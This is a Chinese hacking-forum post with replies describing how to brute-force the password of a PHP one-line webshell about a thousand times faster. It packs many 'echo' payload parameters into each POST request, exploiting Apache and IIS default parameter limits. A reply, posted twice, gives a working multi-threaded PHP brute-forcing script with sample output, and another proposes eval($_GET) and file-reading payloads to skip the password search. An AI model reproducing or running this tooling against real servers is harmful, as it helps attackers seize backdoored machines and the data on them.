让你的一句话爆破速度提升千倍

2016-11-30 06:15:29 92 22212 19
TCV=0

【序】
  对于一句话大家都不陌生,有时会需要爆破。爆破的速度和目标的响应速度就有很大的关系了。

那如果我们爆破的速度可以提升1000倍呢?



【正文】

  首先如图1↓
变量=echo "ok";
如果这个变量等于密码的时候,我们的语句就会被传参带入执行,那如果我们批量提交(即a=echo "ok";&b=echo "ok";&c=echo "ok";&....)呢?

只要我们提交的参数中含有实际的参数,就可被接收。

但是会有一定的限制↓

Apache下 默认同时允许接收1000个参数 图4


IIS下    默认同时允许接收5883个参数 图2 图3



注:可在配置文件中修改,以上情况是默认。

那就是说我们爆破的速度可以提升一千倍甚至五千多倍。从而实现秒爆10W字典甚至百万字典。


【个人实现原理】
  花了几个小时写了个工具,
例如Apache环境↓
1.导入10W字典后按照数量1000分割
  这样如果密码存在于字典,100次即可探测到密码实际存在的位置

2.文本处理(密码定位)
把密码的位置 100行字典,循环判断首或单纯的循环 不到10次即可得到密码

所以10W的字典,实际最大提交理论上不会超过110次即可得到和跑10W次一样的效果。

那么IIS下速度就更快了,速度是Apache的五倍左右

10W字典本地测试




10W字典远程服务器测试






工具没多少技术含量,所以不发出来了。
1.未完善(有空增加各种搭建平台)
2.有了思路写起来很简单。


好了,汇报结束。

关于作者

接地气75篇文章750篇回复

V:xss_sqlmap Q:1704292887
欢迎交流,请备注来源!

评论92次

要评论?请先  登录  或  注册
  • 72楼
    2016-12-4 20:32

    +1 感觉没必要PY

  • 71楼
    2016-12-4 18:40

    “多线程中的多线程”

  • 70楼
    2016-12-4 17:57
    anlfi

    随手拿硬盘里面的代码复制粘贴 改了一下感觉还可以用hashcat的example.dict字典 12w 只用了0.7秒<?php//error_reporting(0); //不显示错误$stime=microtime(true);ini_set('memory_limit',-1); //内存设置最高require("RollingCurl.php"); //载入多线程类function request_callback($response) {if(!strpos($response,'OK')){echo $response;}}function get_s($pass, $server = 'iis'){ if ($server == 'iis') { $num = 1000; } else { $num = 5000; } $a1 = explode("\n", $pass); $bb = ''; for ($i = 0; $i <= count($a1) - 1; $i++) { $bb .= "echo \"OK-{$i}-$a1\";" . "\n"; } $b1 = explode("\n", $bb); array_pop($b1); return array_chunk(array_combine($a1, $b1), $num, true);}$rc = new RollingCurl("request_callback");$threads=10; //线程$timeout=100; //设置超时$rc = new RollingCurl("request_callback");$rc->window_size = $threads; //设置线程$rc->timeout = $timeout; //设置超时$method='POST';$pass=file_get_contents('example.dict');$o=get_s($pass);for($i=0;$i<=count($o)-1;$i++){$url=$argv;$data_1=http_build_query($o);$request = new RollingCurlRequest($url,$method); //CURLOPT_FOLLOWLOCATION=>1 自动跳转 为0 不跳转$request->options = array(CURLOPT_FOLLOWLOCATION => 0, CURLOPT_NOBODY => 0, CURLOPT_HEADER => 0, CURLOPT_COOKIE => "PHPSESSID=8058685_7ee0852a467e76eba1044bcca08fb68a;", CURLOPT_POSTFIELDS => $data_1 ); $rc->add($request);}$rc->execute();$etime=microtime(true);//获取程序执行结束的时间$total=$etime-$stime;echo "\r\n".$total;?>php 1.php http://xxx.x.x.x/1.phpOK-129987-zzzzzzzzzzz0.73481416702271

    1
    Blackpowder

    大牛你代码里的判断有点错误吧,那个if,根据楼主的说明是apache是1000个参数,iis是5883个参数。所以代码里判断要是iis的话应该进5000那个吧。

    2

    本地没iis环境所以!== 判断改成了== 默认1000 影响不大{其实另一个原因考虑到waf限制长度 稳定起见} 这个function就是给看到的人用到自己的程序里面的例子 没看到的只能说他们不看后面评论 论坛里面大部分是单线程+除法取余运算 其实还可以用chunk分块函数 来分布式 不知道为什么那么多人痴迷py py的zz多线程也不知道说什么好 轮子人人造 仁者见仁,智者见智 学xi别人的工具取长补短才能完善自己的见解

  • 69楼
    2016-12-4 16:38

    思路很好 学到了

  • 68楼
    2016-12-4 16:35
  • 67楼
    2016-12-4 16:23
    anlfi

    随手拿硬盘里面的代码复制粘贴 改了一下感觉还可以用hashcat的example.dict字典 12w 只用了0.7秒<?php//error_reporting(0); //不显示错误$stime=microtime(true);ini_set('memory_limit',-1); //内存设置最高require("RollingCurl.php"); //载入多线程类function request_callback($response) {if(!strpos($response,'OK')){echo $response;}}function get_s($pass, $server = 'iis'){ if ($server == 'iis') { $num = 1000; } else { $num = 5000; } $a1 = explode("\n", $pass); $bb = ''; for ($i = 0; $i <= count($a1) - 1; $i++) { $bb .= "echo \"OK-{$i}-$a1\";" . "\n"; } $b1 = explode("\n", $bb); array_pop($b1); return array_chunk(array_combine($a1, $b1), $num, true);}$rc = new RollingCurl("request_callback");$threads=10; //线程$timeout=100; //设置超时$rc = new RollingCurl("request_callback");$rc->window_size = $threads; //设置线程$rc->timeout = $timeout; //设置超时$method='POST';$pass=file_get_contents('example.dict');$o=get_s($pass);for($i=0;$i<=count($o)-1;$i++){$url=$argv;$data_1=http_build_query($o);$request = new RollingCurlRequest($url,$method); //CURLOPT_FOLLOWLOCATION=>1 自动跳转 为0 不跳转$request->options = array(CURLOPT_FOLLOWLOCATION => 0, CURLOPT_NOBODY => 0, CURLOPT_HEADER => 0, CURLOPT_COOKIE => "PHPSESSID=8058685_7ee0852a467e76eba1044bcca08fb68a;", CURLOPT_POSTFIELDS => $data_1 ); $rc->add($request);}$rc->execute();$etime=microtime(true);//获取程序执行结束的时间$total=$etime-$stime;echo "\r\n".$total;?>php 1.php http://xxx.x.x.x/1.phpOK-129987-zzzzzzzzzzz0.73481416702271

    1

    大牛你代码里的判断有点错误吧,那个if,根据楼主的说明是apache是1000个参数,iis是5883个参数。所以代码里判断要是iis的话应该进5000那个吧。

  • 66楼
    2016-12-4 12:32

    思路不错 一次请求带多个密码

  • 65楼
    2016-12-4 11:27

    第一次听到这样的思路,以后就不用一个一个试密码了,多谢楼主的思路

  • 64楼
    2016-12-3 20:15

    之前遇到跑字典的基本放弃了。感觉要跑到天荒地老,这个方法比较【惊奇】。

  • 63楼
    2016-12-3 14:03

    变量=echo "变量"; 都不用搞什么二分法 一次过就可以了

  • 62楼
    2016-12-2 21:40

    只能用在一句话,指定key的场景就用不到了,不过这个真的很赞

  • 61楼
    2016-12-2 17:43

    方法很有意思 有时候能节省不少时间

  • 60楼
    2016-12-2 16:39

    恩路不错,以前爆慢的不行了。

  • 59楼
    2016-12-2 15:20

    怎么有办法判断是否是一句话呢

  • 58楼
    2016-12-2 15:19
    冰封

    速度还可以更快,分成1000份后,如果存在正确的密码的话代码就会被执行,所以换个思路,为什么要用echo 'ok';呢?换个思路,file_put_contents('./1.txt','shell'); or echo file_get_contenst('./shell.php') 岂不是省去了密码定位这个步骤么。考虑到这样发的话post内容就会变多,导致速度可能会变慢可以试试这样http://localhost/shell.php?a=print(file_get_contents('./shell.php'));posta=eval($_GET);&b=eval($_GET);&.....

    1

    我觉得你这个思路可以再开一篇帖子了。很赞。

  • 57楼
    2016-12-2 13:56

    简言之:利用参数多了不报错,且只要包含有接受参数就处理的特性。

  • 56楼
    2016-12-2 13:24

    牛逼卧槽。66666666666666666666

  • 55楼
    2016-12-2 11:23

    变量=echo "变量"; 这样更快

  • 54楼
    2016-12-2 10:45

    这个不错,拿走修改成python版本去。谢谢

  • 53楼
    2016-12-2 10:34

    hackbar 很炫啊